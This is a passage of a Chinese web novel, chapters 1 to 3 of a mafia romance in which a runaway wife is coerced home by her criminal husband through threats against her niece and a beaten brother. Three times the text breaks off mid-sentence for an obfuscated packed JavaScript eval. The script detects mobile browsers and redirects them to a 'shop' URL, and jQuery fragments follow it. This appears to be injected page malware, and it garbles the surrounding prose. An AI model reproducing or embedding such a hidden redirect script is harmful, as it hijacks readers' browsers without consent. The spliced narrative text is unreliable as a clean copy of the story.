《合法占有》
1. Chapter 1
查丽蒂坐在男友身上,不满地抱怨:“天呐,我真讨厌你又要出差。”
洛克兰笑着搂紧她的腰,道:“已经开始思念我了?我很快就会回来。”
“别再自作多情了。”她嘴上这么说,额头却贴在了他的锁骨上,语气变得闷闷的,“就只是,你上次出差回来,家里的植物可都快要被我养死了。”
“那么,这次我帮你把浇水日程写在便利贴上,贴在冰箱上。”洛克兰的声音带着笑意,手指在她后背轻轻滑动,“你总不会连便利贴都不看吧?”
查丽蒂抬起眼,绿眸里带着一点撒娇的恼意:“我要是真的不看呢?”
“那我就每天打电话提醒你。”洛克兰捏了捏她的耳垂,语气温柔又无奈,“顺便提醒自己,别在出差的时候太过思念某个口是心非的小骗子了。”
她轻轻哼了一声,没有再搭理他。
他们在床上又腻了一会儿,直到必须起来,洛克兰要赶早班的飞机,她要去上班,一切都普通得不能再普通,像是这个世界上无数对情侣的清晨。
穿衣服的时候,洛克兰站在镜子前系领带,查丽蒂则坐在床边看他。阳光从百叶窗缝隙里落进来,在他肩背上切出明亮的线条。
她忽然有点走神。
这种画面太真实太美好了,甚至是到了让她隐约感到不安的程度。
“怎么了?”洛克兰问她。
“没什么。”她笑了笑,站起身来替他整理领口,“路上小心,别又熬夜。”
洛克兰看着她关心他的样子,一颗心在胸腔里软得不行,他忍不住又低头亲吻她,她热烈地回吻着,并紧紧地抓住了他的外套,像是希望这一刻能永远持续下去。
可是,他终究还是拿好行李离开了。门关上的那一刻,屋子里忽然安静下来,空荡荡的让她整颗心都开始变得黯淡。
查丽蒂只能默默告诉自己,洛克兰几天后就会回来的,她不能总是这样反应过度,不能总是对男友过于依赖,她已经二十三岁了,不再是个粘人的小孩子了。
于是,她决定把心思全部放在她那无比乏味的工作上。
当她好不容易结束一天的工作,天已经快黑了。
她在超市里买了点食材,打算晚上随便做点吃的。毕竟他们家唯一厨艺尚可的那个人不在,她一个人只能吃得简单些。
只是,当她回到公寓所在的街区时,她的脚步下意识地慢了一点。
不知道为什么,她莫名其妙地有种被人注视着的感觉。
她抬头看了看周围,街灯亮着,行人稀疏,一切都很正常,与平时别无二致。
她告诉自己是多心了。
“叮——”
电梯门打开。
她走向自己的公寓,钥匙已经握在手里。然而,就在她准备开门之前,她察觉到了不对。
门缝里透出了一线光。
她清楚地记得,自己早上出门时是关了灯的。
她的呼吸不禁停了一拍。
她没有立刻开门,而是站在原地,悄悄地听了一会儿。屋内很安静,没有说话声,也没有脚步声。
然后,她才慢慢地插进钥匙。
结果很快,门就被从里面拉开了。
站在她面前的男人穿着深色西装,身材高大,神情冷淡。他的目光在她瞬间苍白的脸上停留了一瞬,像是在核对什么,然后微微点头。
“好久不见,德-米凯利女士。”她丈夫的私人保镖尼科洛·比安奇礼貌地唤出那个已被她遗忘两年的姓氏。
“我本以为你的男友会先回来。”
面对这种显而易见的暗示,她立刻向前走了一步:“不,尼科洛,洛克兰和这件事完全无关。”
“你真的这么想吗?”
“他根本什么都不知道。”她说。
尼科洛没有多搭理她,他只是默默地从西装内袋里取出手机,拨通电话,递到她面前。
“德-米凯利先生等着和你说话。”
她摇摇头:“我不想和他说话。”
“可你的丈夫正迫切地等候着这个。”
她看着手机,只觉得左右为难,不知道究竟是该逃跑还是抢过手机把它摔得粉碎。
此时此刻,她最不想的就是与那个男人说任何话,她只想再也看不到他。
她真的很害怕。
可是她什么都没有做。正相反,她屏住了呼吸,静静地看着。
当电话终于拨通,她看到那张再熟悉不过的脸出现在了她的眼前。
两年不见,洛伦佐一点也没有改变,他依然是她这辈子见过的最令人惊叹的美男子。但当她再看向他的眼睛,她无助地想,如果眼睛真的是灵魂的窗户,那他的灵魂实在太过黑暗了。
“卡拉。”
她的名字从他口中念出时,那低沉的声音仿佛萦绕在她梦中,令她不自觉地后退了一步。
“在外面游荡这么久,你该回家了。”
“那不能说是我的家,”她立刻反驳,“我已经离开了,我们的婚姻——”
“仍然合法。”他打断她。
她的呼吸变得急促。
“我是不会回去的,”她说,“别强迫我回去。我知道,这一切确实很愚蠢,我也知道,我不应该这么做,但是已经两年过去了,不是吗?我失踪两年完全可以作为理由申请离婚,我想,你应该也早就想甩掉我了,你完全可以直接……”
“我不想强迫你,”洛伦佐打断了她,声音依旧平稳,“你知道我从不会那么做,但我们都知道,你一定会回来。”
他的笃定让卡拉感到后背一阵发凉。
她摇了摇头:“我真的很抱歉,真的,我……我什么都不会要,无论我们曾经签过什么。”
“你什么都不会要?”他问,“为什么?你好不容易才把自己卖了一个高价。”
这句话精准击中了卡拉脆弱的心。
她忍不住沉默了。
四年前的画面骤然浮现在她眼前,迷离的灯光,香水与汗水混合的气味,打量的目光。
而那个为她而来的男人就格格不入地出现在那里,西装笔挺,神情冷淡,却比任何追求者都危险。
她知道他对她感兴趣,就只是她——尽管这真是太奇怪了。整整一个月,他都坐在前排的扶手椅上,盯着她表演,思考着、等候着。
那目光锐利得让她脊背发麻,却又奇异地点燃了她某种隐秘的、连自己都羞于去承认的虚荣与悸动……
她很清楚,无论她脑子里究竟会胡思乱想些什么,她都应该立刻点头的。这是她这辈子能遇上的最好机会了,她的命运将就此改变,毕竟,他可是一个该死的真正的有钱人!
可是,他的态度实在太冷漠、太高高在上了。在他向她提出他的要求前,他从未跟她说过哪怕一个字,而他看人的眼神,也让她根本就不敢主动凑过去与他调情,笑问他要不要来一支私人舞。
在他看来,仿佛只要他能努力说服自己,她这个卑贱的舞女随时就是他的囊中之物。
那种笃定着实有些惹恼了她。
于是,她任由她那疯狂的可能早已经悄悄地被酒精泡坏的大脑主宰了她。她向他露出了她的胜利微笑,那种能让男人觉得自己就是她生命中遇见的最好的事情的微笑,然后,她就立刻任性地提起她有一个求婚者,并表示她已经在考虑答应了,毕竟,她是如此渴望走入婚姻,成为一个好妻子。
哪怕事实上,她压根就没有把那个所谓的求婚当真过。她只有十九岁不代表她是个白痴,有一些男人,你可以跟他们随便玩玩,但别结婚,永远也别考虑结婚。
她可不准备真的变成她从小到大已经见惯了的那种只需要生孩子、做饭、打理家务,还有“除了口.交之外永远别多嘴”的传统爱尔兰小妻子。
所以,她就只是想要维护自己仅有的那么一点点尊严,告诉他,她并非唾手可得,同时,也是有些好奇,这个愿意看她一个月的男人究竟愿意付出多少代价得到她。
他完全可以再耐心一点的,试探她是否虚张声势。他应该这么做,那样他就会发现,她其实根本没有什么真正的选择,她还早盯上了他的钱包。
她那点可怜的气焰根本一戳就破。
但他的需求显然十分迫切。
没有任何的拉扯谈判,他很快便做出了任何一个有自尊的男人都绝不该做的决定,他点头同意了与这个贪婪的脱衣舞女结婚,哪怕看起来实在有些勉强。
当她终于收到那充斥着大量专业词汇的法律文件时,她仍然有些不敢相信这是真实发生的事。
她仅有的那一点点头脑告诉她,她必须让她的律师仔细审阅过后再签字,但是,他当时一并送给她的订婚戒指上那颗方形钻石真的非常大……
她完全被晃晕了。
之后,他们十分低调地结了婚,没有任何繁琐的仪式。
……
她从那些记忆中回过了神,道:“那是错误,洛伦佐,我已经不在乎钱了。”
好吧,这样说还是有点夸张了……
果然,洛伦佐表现得像听到了一个天大的笑话:“所以,你把车沉入湖底?而我却一直以为……”
他顿了顿,没有继续说下去。
当然不可能只是这个原因,但她想,她永远也不可能对他说出自己那天看见的东西。
“是的。”她道。
“为什么,卡拉?为什么你一定要选择把事情处理得这么……戏剧性?”
她不知道究竟该怎么回答这个问题。
事实上,她有时也会后悔自己这种过于冲动也确实过于戏剧性的行为,但她真的很害怕很无助,也实在是太想离开,太想摆脱掉这所有的一切了。
她十分愚蠢地以为,让他觉得她已经遭遇不测是最好的办法,这样她也不必担心她的家人——事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588880|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实上只有格蕾丝。
毕竟两年来,她在所有人的眼中都是一个愚蠢的、贪财如命的掘金女,每天只知道开开心心地到处消耗她丈夫的钱。所以,一个这样的女人,又怎么可能会主动离开她英俊有钱又从来没有虐待过她的丈夫呢?除非她是不幸遇上了坏事。
多么合理啊。
但显然,她完全把事情给搞砸了。
于是,她不答反问:“如果我没选择这种戏剧性的离开方式,而是和你谈,你会和我离婚吗?”
她清楚,答案估计很悬。他从来都看不起她,对她的兴趣却维持得够久,当时他可还没开始彻底厌烦掉她呢。而且,就算真的要离婚,这些主动权也应该始终掌控在他手里。像他这种高高在上的男人,男性自尊必定大过天,他不可能希望看到这个他买回来的卑贱妻子居然会率先想要摆脱他。可她确实是迫不及待想摆脱他……
而他给了她一个最意料之外的回答:“直到死亡将我们分开,不是吗?”
她不禁愣住了。
“回家,卡拉。”他重复了他的要求。
“我们……会离婚吗?”卡拉知道很不应该,却依旧坚持问。
“也许你真的觉得这很有趣。”洛伦佐无奈说完,随后便从屏幕上消失了。
当画面再度变得清晰,卡拉看到,有一个男人蜷缩在地上。他的脸肿得很厉害,面目全非,她几乎无法辨认出他的身份,不过,她很快就认出了他身上一个熟悉的纹身。
“帕迪?你在对帕迪做什么?”
“我没有对他怎么样,但他貌似欠了笔钱,又惹了些麻烦,对方追得很凶。”洛伦佐说着,人也重新走进她的视线范围。
这……倒确实是典型的帕德里克·多尔蒂行为。
卡拉不禁皱起了眉:“你明知道他是个什么货色,为什么还要管他的死活?”
“他始终是你的哥哥,我不应该帮助我妻子的哥哥度过这个难关吗?”
“那么,他究竟是欠了多少钱?”卡拉终究还是忍不住问。
“还是这么放不下他?”
“就只是告诉我具体数字。”卡拉道。
“据我所知,是二十万。”他说。
卡拉顿时觉得天旋地转了起来。
二十万?
她那可怜的银行账户里就只有一万多块,那还是因为她一直非常节俭,她的男友也坚持拒绝了让她分摊房租……
结果,她的哥哥一欠就是二十万?
她一直以为就算是帕迪·多尔蒂也至少应该有点底线的。而且,她不明白,对方究竟为什么要借一大笔钱给他这种人,难道现在放贷的人都变得这么没脑子了吗?两千他都根本还不起,这是一桩纯粹的亏本生意!
她越想越气,简直就想立刻穿过屏幕活扒了哥哥的皮。
“你直接把他扔出去吧。”她恼怒地扭过头,“可笑,难道你以为我会管他?不会,这家伙早就应该去死了。”
说归说,卡拉心里清楚,她其实还是不愿意真正看到这种结果。那是她的血亲,当她还是一个孩子时,帕迪也曾经是个还不错的哥哥,会关心她,会挡在她的身前保护她。
她就只是,受够了一直为了家人付出了,凭什么一切都总要让她来承担?
想到这里,她的牙齿也不禁开始发起了抖,她希望洛伦佐不会真的立刻就让人当着她的面把她哥哥扔出去,让他去自生自灭。
幸运的是,洛伦佐确实没这么做,就像是早已经预料到了她的反应一般,他摇了摇头,又拿出了一部手机解开锁,拨通了一个号码。
电话很快就接通了:“爸爸!是你吗?家里……家里忽然来了好多穿着黑衣服的人,一直没有走,妈妈也睡着了,不说话……”
一听到那个惊慌失措的孩子的声音,卡拉的脸瞬间变得苍白,她忍不住大声喊:“格蕾丝!”
可洛伦佐不是准备让她跟侄女隔着两部手机叙旧的,他直接挂断电话。
“格蕾丝怎么了?”卡拉问,“她……她为什么在哭?还有罗伊辛……洛伦佐,我以为就算再卑劣的人也不应该……”
“格蕾丝什么事都没有,”他打断她的话,“她们现在比任何时候都要安全。只是,你让我已经不那么确定她们是否可以一直如此安全下去了。”
卡拉苦笑:“你拿我的侄女威胁我?”
“卡拉。”他第一次用这样温和的语气叫她的名字,“这取决于你的想法。”
卡拉没有办法了。
哪怕她确实做到了抛弃一切头也不回地离开,足足两年,此刻,她也还是无法对那个她曾经亲自照顾了那么久的女孩彻底置之不理,那个像爱母亲一样爱过她的女孩……
“我会回家。”她妥协道。
手机那头安静了一瞬。
“很好。”洛伦佐说。
当屏幕终于变黑,卡拉闭上眼睛,眼泪不禁大滴大滴地落了下来。
2. Chapter 2
“我们没有多少时间了。”尼科洛有些不耐烦地说,并把浑身软得像一摊泥的卡拉从地上拉起来,“飞机在等着,德-米凯利先生也在等着。”
“飞机?”卡拉愣了愣。
“收拾你的东西。”尼科洛看了眼表,“你有十分钟。”
卡拉几乎想笑,她的生活才刚刚天翻地覆,结果这个没有感情的家伙却只准备给她十分钟的时间来告别?她气呼呼地冲进卧室,重重地关上了门。
两年了,她逃了两年了,在这差不多七百个日夜里,她谨慎、耐心、近乎偏执地规划好了每一步,结果却还是被抓住了。短短几分钟时间,该死的洛伦佐就把她精心构建的“正常生活”碾得粉碎,连渣都不剩。
她真的很想相信洛伦佐至少还有点底线,不会对一个年幼的孩子做什么,但她仍然害怕,而且就算只是区区一个帕迪,她也实在不想看到他有事。
她是真不该离开的,她早应该明白,她这个人就这样了,她就活该一辈子被困在冰窟里。
她这个容易心软的贱人。
尼科洛敲了敲门:“五分钟。”
卡拉真想大声诅咒这个男人,她真想尽情地大哭大闹,但她不能这么做。这个混蛋是来执行另一个混蛋的命令的,他会尽一切努力来完成它。
她猛地打开衣柜,从里面抓起几件衣服,通通塞进了一个背包里,然后,仿佛是想起了些什么,又从笔记本上撕了一页纸下来,拿起笔开始写字。
她必须得跟洛克兰告别。
洛克兰,
请原谅我就这么不辞而别。
也许我们从来就不合适。
我永远不会忘记你为我所做的一切。
我也希望未来有一天,你能遇见一个真正配得上你高贵灵魂的女人。
你永远的
查丽蒂
她以后大约是再也见不到洛克兰了,一想到这一点,她便不禁有些难过。
这几乎是她生命里第一次真正意义上的恋爱,她是如此单纯地想与一个男人在一起,一个与洛伦佐截然不同的温柔体贴而且尊重她的完美男人,也许,她真的可以与他走下去。
她可以和他一起搬离这个公寓,去往他描述的未来生活,那里有一座漂亮的房子,和一只可爱的卷毛小狗……
可她甚至不敢留下自己的真实姓名,让他知道她究竟是谁。
“把门打开。”门外的尼科洛道。
卡拉吐了一口气,上前打开门,尼科洛随即便冲了进来,像是生怕她会打什么鬼主意。
他立刻就看到了那张可笑的纸条,谨慎起见,他还是拿起来读完,然后,他笑了一声,随手把它扔到床上。
“你很幸运,女士,德-米凯利先生太忙碌了,以至于没有亲自过来接你,不然他看到这个又会怎么想?意大利男人的嫉妒心可是闻名遐迩,你不会希望他丧失所有理智的。”
嫉妒?听到这种荒谬到了极点的词,卡拉愣了愣,几乎想笑。
那个男人才不会因为她嫉妒呢!
只是,她想归这么想,却愣是闭上了嘴,没有说出来。
他也许不会嫉妒,但一定会愤怒于妻子的不忠,那又有什么区别?
她越想越不安,但是为了格蕾丝,她只能乖乖陪他玩他想玩的任何游戏。
尼科洛默默拿起了她收拾好的行李,又问她:“还有其他东西吗?”
卡拉摇了摇头。
然后,她犹豫一瞬,还是忍不住问:“我哥哥到底惹了什么麻烦?他真的借了那么多钱?他们为什么要借给他?就算把他拆了卖了都值不了二十万。”
“帕德里克·多尔蒂一直是个烂摊子,”尼科洛道,“我无法理解你为什么还在关心他的事情,你早该学会对他们一家放手了。”
就连她自己也无法理解。
她苦笑一下,道:“可能我终究是个爱尔兰天主教徒,永远觉得于心有愧。”
然后,也不等尼科洛继续说些什么刻薄话,她又问:“那么,当我回去后,洛伦佐又究竟打算对我做什么?”
尼科洛冷冷看着她:“你觉得呢?”
她假装无所谓地耸了耸肩,试探道:“也许,他会因为我的行为杀了我也说不定呢。我想,我只能接受命运了。”
闻言,尼科洛不禁嗤笑了一声。
“我从来没发现你的想象力如此丰富,女士。如果他真的会起这种黑暗的念头,你不会还完好无损地站在这里。”
他显然是对的,卡拉自己也清楚这一点,可是这也并没有让她安心多少。
她默默跟着尼科洛走出了那曾被她视为世上最温暖地方的公寓,坐上车,直到抵达了一个私人机场。
那里有一架飞机正在等候着他们。
既然一切都已经注定了,卡拉并没有再让尼科洛费什么心。她一句话也没有说,安安分分地被带上了飞机。经过了长达数小时的飞行后,又累又困的她又被塞进了一辆车里,直到他们终于抵达了她曾经居住的地方,也是洛伦佐在这个国度的固定住所。
一座没有任何词汇可以用来形容的庞大而威严的建筑物。
哪怕就只是这么看着它那令人惊叹的样子,都让卡拉忍不住恍惚,她曾经竟然也会觉得这可以成为她的家?
她与它其实从来就格格不入。
“德-米凯利先生大约还有一些事情。”尼科洛对她说,“你想吃点什么吗,女士?”
卡拉摇了摇头,只是懒洋洋地一步一步跟着他上了楼。
当她终于被带着走进了她曾经与丈夫共有的卧室,她不由得愣了愣。因为这个房间竟然一点也没有改变,它与她离开之前一模一样,就仿佛,就仿佛她从未离开过一般。
她情不自禁又看向了那张床,以及床头柜上他们唯一的合影,那也是唯一能让这个房间有点夫妻氛围的东西。
一时间,她也忍不住想起了自己曾经与丈夫究竟在这个房间里共同度过了多少亲密时刻。
又或者说得更准确一点,他们大部分时候是只在这个房间里见面,毕竟,他们的夫妻关系就是这么朴实无华,除了睡在同一张床上之外,彼此毫不关心。
想到这里,她猛地移开了视线,胃里也不由得泛起一阵恶心。
她不知道,那双曾游走在她身体上的手,是否也曾扼住别人的喉咙?而那曾与她亲密相贴的胸膛下跳动的心,是否也曾对别人的哀求无动于衷?
“我可以在别的房间待着吗?”她问,“而且,在经过了这么多的事情之后,再让我待在这里还合适吗?”
她实在不想留在这里回忆一切。
尼科洛十分冷漠地拒绝了她的要求:“这是你们的卧室,不是吗?如果你有什么需要就打电话。”
当他锁上门走远了后,卡拉仍然不愿死心,她冲到门口,使劲与门对抗。
但显而易见的是,靠她那点蛮力是没用的,而她现在横竖已经在洛伦佐的房子里了,也最好是别打鬼主意。
所以,她只能待在这里,而她真的非常讨厌这个房间,讨厌这个房间里的一切,它让她每分每秒都被提醒,她曾经都为了钱做过些什么。
那时候的她还太年轻了,她吃过太多的苦,她只想要钱,于是,哪怕是自己的卖身钱,只要经过了包装,她依旧可以花得心安理得,而现在,这所有的一切都只让她觉得如此难过……
想到这里,她一时间只觉身心俱疲,她不知道洛伦佐究竟准备让她在这里枯等多久。
这个人现在想必已经知道她两年里的一切了。
她卖掉了她的订婚戒指与结婚戒指,花了一大笔钱给自己伪造身份。她有了全新的出生证明、驾照、社安卡……在上面她的名字都是查丽蒂·伯恩。这些证件在多个州都可以平安通过。
她还每天都打扮得平平无奇,并戴上了大大的黑框眼镜,一直从事一些很不起眼的工作,也不跟任何人有超出工作外的来往。
只有洛克兰·科伊尔是她的变数。
他们是在一间爱尔兰酒吧认识的。当时的她只是下班后想喝一杯,再顺便听
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588881|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听乡村音乐放松心情,根本无意去接受任何人的搭讪,可是他那笨拙的样子实在是让早已见惯风月的她不禁暗自发笑。他自然没有成功要到她的号码,但她也还是记住了这个笑起来十分阳光可爱的害羞男人。之后,他每天都会去那间酒吧点一杯酒,等着她出现,而她在偶然之间发现了这一点后,也不知道为什么,去酒吧的频率开始显著提升……
两个月后,他们就一起度过了圣帕特里克节。当她与他一起穿着绿色衣服挤在人群里肩挨着肩吃着薯条时,她看着他的笑容,终于允许自己再次尝试去进入亲密关系,过正常的生活。
从此,她不再是洛伦佐一纸婚约买回来的妻子,不再是那个从穷街区爬出来的眼里只有钱的脱衣舞女,她就只是那个有些内向的孤女查丽蒂·伯恩。
可是现在,她美好的梦醒了,她还是卡拉·多尔蒂,她待在自己曾经主动走进的地狱里,等待着最终的审判。
她叹了口气,脑子里一边想着洛克兰发现忽然打不通她的电话之后该是多么着急,一边想着自己接下来可能的命运,那都让她无比头疼。
于是,她默默让自己躺在了窗边的一把椅子上,以一个稍微舒服一些的方式专注于她的等待。
她就这么等着等着,一不小心就直接睡着了。
她也不知道自己究竟睡了多久,恍恍惚惚间,她感觉到仿佛有人小心翼翼地抱起了她。
这么多年来,只有一个人可能会这么温柔地对待她,让她安心。
“洛奇?”
她本能地轻唤男友的名字,并调整了一下姿势,好可以更舒适地窝在他的怀抱里,可是不知为何,他那向来温暖的怀抱反而忽然间变得僵硬了。
“嗯?你怎么这么早回来了?”她问。
他没有回答,于是她又忍不住抱怨:“你不在家里,我都开始做噩梦了。”
当她陷入柔软的床垫,他也终于开口说话了:“你都梦见什么了,卡拉?”
他那拖着长调的慵懒口音让她立刻瞪大了眼睛,他不是洛克兰。
她猛地推开了他的手,缩到了一边,然后才慢慢抬起了头。
当她终于与洛伦佐那双灼热的深色眼睛相遇,她的心猛地跳了一下,好像有人在她内心深处按下了恐慌按钮。怨恨和兴奋融为一体,无法区分。
“洛伦佐。”她厌恶地吐出这个名字,就像那是她不小心吃下的腐烂食物。
“现在你终于知道我是谁了?”
“你……为什么?”她心中有一大堆问题想要问他,但它们通通挤在了一起,让她的头脑一片混乱。
最终,她抓了抓自己的头发,先关注最重要的问题:“我哥哥他现在在哪?我得见到他,还有格蕾丝,该死的,告诉我格蕾丝没有任何事。”
“你侄女连一根头发都没掉。”他说。
卡拉半信半疑地看着他:“那我哥哥他现在又在哪里?”
“他在他应该待的地方,明天你会见到他,现在你应该累了,再休息一会。”
卡拉摇了摇头,没来由的勇气让她斩钉截铁道:“我说过了,我现在就得见到他。”
洛伦佐盯着她看了一会儿,然后站起身来道:“他在地下室里。”
一听到那个词,卡拉的脸瞬间开始变得苍白。
洛伦佐显然没有错过她的脸色变化:“怎么了?”
卡拉摇摇头:“没什么,就只是,想起了安娜以前和我说不要去地下室。”
洛伦佐道:“没想到你原来会这么把管家的话当回事,也许我当初也该请她告诉你不该擅自跑到国家的另一头。”
卡拉顿时沉默了。
“那么,你现在还想见你哥哥吗?”洛伦佐又问。
她还是点了点头。
于是,洛伦佐走到门口,把门打开,然后又向卡拉伸出了手。
这让卡拉有些意外,他们曾经或许确实非常亲密,但牵手还是太奇怪了。可是他没有把手放下,她看了一会,也只能乖乖从床上起来,把自己的手放进他的掌心。
3. Chapter 3
台阶向下延伸,灯光一盏一盏亮起,白得刺眼。
卡拉的脚步变得迟疑,她几乎是被洛伦佐拖着往下走的。
他的手很稳,掌心干燥而有力,没有半点犹豫。
这反而更让她恐惧。
她曾经来过这里一次。
当时,趁他在家,她终于下定了决心要跟他谈一谈离婚的事情,无论他会不会同意,态度总要表示出来,她不想继续这样下去了。结果,她明明没有听到他出门,她却到处都没有找到他,除了她还不曾踏足过的地下室。
当初管家带她参观这座宅邸时,个个房间都给她介绍到了,只有地下的区域,那位女士说,地下层灯光不好,空气也沉闷,不适合女主人活动。
她以为,高贵的男主人八成也不会跑到一个灯光不好又沉闷的地方去,但她确实从来没关注过他的动向,一切也说不准,下去看看也无妨。
她当时完全没担心过会有什么,毕竟他们的生活又不是童话故事,他不可能会是蓝胡子。
她只怕自己的决心在被拖延后会慢慢消散。
结果,她没有见到悬挂的尸骸,却目睹了新鲜的谋杀。
她看到了一个奄奄一息的可怜人,他浑身发抖,身上还有未干的血迹。
而洛伦佐的手放在一把枪上,望着对方,口中仍在说话,说着一些她根本听不懂的意大利语,西装整洁,难掩怒火。
那是她第一次意识到,她冷漠的丈夫原来还真是个有情绪的活人。
她没那么天真,她非常清楚,在这个世界上,从来就不存在什么“干净钱”或者“脏钱”。钱就是钱。如果她认为曼哈顿南部那条小街上的钱都是清清白白的,那她就是一个蠢货。
她以为,他给了她无限额的信用卡,她刷就是了,其他的什么也不需要在意。
直到真正看见这种可怕的场面,她才发现,一切还远不止如此,她嫁的还有可能是一个罪犯,一个将自己包装得优雅体面的真正的罪犯。
她也瞬间明白了他为何会忽然出现在她当初呆的俱乐部。普通人或许不知道,甚至大多普通员工也不知道,但她因为哥哥总是跟某些人混在一起,或多或少的,总是会了解一些……
当他气恼地转过头来,可能即将看到她时,她立马落荒而逃了。
她完全吓坏了。
那些离婚的念头瞬间蒸发,取而代之的是求生的本能。
之后,她几乎是战战兢兢地与他继续生活着,夜夜做着他其实已经看见她站在那里了的噩梦,即便她认为他应该根本没有发现她的存在,而他们一向生疏的夫妻关系估计也让他很难发现她的任何异常……
在必须忍受着无边无际的冷漠同时,还要时刻恐慌自己的人身安全或可能被丈夫连累到与他一起穿上橙色情侣装,她不得不硬下心肠,开始为自己筹划起来。
终于,趁他又要离开几天不知道处理什么事情,她营造出自己已经遭遇了不测的假象,直接就离开了。
如今两年过去了,不得不再度回到这个地方,胃部那熟悉的抽搐感再度袭来。
她咽下涌到喉口的酸涩,道:“松手,我可以自己走。”
洛伦佐扭头看她一眼,却没有照做。
“你在发抖。”他说。
“这里让人不舒服。”她的声音很轻。
“你当然会这么觉得。”
他的口气就像在跟她谈论天气。
当帕迪·多尔蒂终于出现在卡拉眼前,她几乎都不敢相信自己看到的。
她猛地甩开丈夫的手,冲了过去,颤抖着扶起那具瘫软的身体。掌心触到的脸颊肿胀溃烂,黏腻温热。
“帕迪。”她哽咽着急切道,“看着我,请告诉我你还活着。”
听到她的声音,帕迪勉强抬起眼皮,用那双与她颇为相似的绿眼睛打量了她好一会儿,才终于嘶哑道:“卡拉?你……你还活着?”
她点点头:“是我,帕迪,我没事,我现在回来了。”
然后,她又扭头看向洛伦佐:“他伤得很重,他需要医生。”
洛伦佐却嗤之以鼻:“不会有医生。”
卡拉愣住了:“他可能会死的!”
“我相信他的命一直很硬。”洛伦佐冷冷道。
卡拉皱起了眉头:“所以,这到底是怎么一回事?”
洛伦佐道:“这只有他自己清楚。”
在关于帕迪·多尔蒂的事情上,卡拉倒是并不怀疑洛伦佐之前的话。毕竟,她实在是太了解她这个烂泥扶不上墙的哥哥了,也太清楚洛伦佐一直以来究竟对她的家人是多么的鄙夷不屑,几乎可以说,在她的丈夫看来,帕迪·多尔蒂这个名字只是出现在了他的耳边都是一种侮辱。
一时间,恐惧、愤怒、残余的亲情混杂在了一起,让她都不知道自己到底应该先去爆发哪一种情绪。
“你这个混蛋!”她几乎是对着哥哥吼出来的,“你又是怎么惹上了麻烦?”
“你不该离开的,你让我一直以为你死了!”帕迪看着她,语气中带着深深的怨恨。
在她的怔愣中,他继续道:“你忽然之间就消失了,留下我独自面对一切,你有想过格蕾丝怎么办吗?罗伊辛那个贱人只知道酗酒跟到处勾三搭四,我只是想给我的宝贝女儿讨一个好生活罢了。”
他一边说,一边猛地咳出了一口血,喷在了她的衣服上。
“别跟我提格蕾丝。”卡拉愤怒道。
“哦?现在你又开始关心她了?当你不知道偷偷地跑到哪个鬼地方去了时,你心里有想过她哪怕一秒钟吗?不!我真后悔我真心担心过你,明明我一直都很清楚,你一直就是一个自私的贱……”
他的话还没有说完,人就已经猛地脱离了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588882|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的手,向后倒去,狠狠地摔在了地面上,发出一声闷响。
卡拉吓得尖叫一声,赶忙扑上去想要查看哥哥的头,可是洛伦佐已经拉住了她的手,十分强硬地把她从地面拽了起来,不许她再靠近帕迪·多尔蒂。
“如果没有你妹妹,你现在大概已经死了,我希望你可以学会小心点说话。”
闻言,帕迪不禁哭了起来:“天呐,卡拉,这两年以来,我是真的很艰难,我实在是不得已才会这么做,我不得已才会打出那个电话,我也不想这么冒险的……”
“什么电话?”卡拉警觉起来。
帕迪的哭声猛地一滞,像是被人突然扼住了喉咙。过了好几秒,他才终于艰难地抬起头,眼神却游移着,根本不敢看卡拉的脸。
“没什么,我只是……运气不好,”他低声辩解,“我差一点就能翻本了……”
卡拉的手指慢慢收紧。
“差一点?”她的声音轻得可怕,“你好像每一次都是这么说的。”
她看着哥哥愈发心虚的样子,眼眶也开始发红,却愣是一滴眼泪也没有掉下来。
“我从前每个月都给你们钱,我希望你们可以带着女儿好好生活。”她的声音开始发抖,“那些钱呢?拿去买筹码、买酒、买你那点子可怜的幻觉去了?”
“我以后再也不会这样了,卡拉,我已经得到教训了,我会珍惜你给我的每一分钱。”
“以后?”卡拉简直被他气笑了。
他这是以为她回来了,之后还会继续拿洛伦佐的钱补贴他?
天呐,这就是她的哥哥,眼见她莫名失踪了两年,就连一句关心她的话都没有,第一反应就是又可以花妹妹的卖身钱了。
“没有以后了,帕迪,再也没有以后了,那就是一个错误。”
闻言,帕迪不禁瞪大了眼:“那格蕾丝怎么办?”
卡拉犹豫了一下,还是选择移开了目光,轻轻道:“格蕾丝是有保障的。”
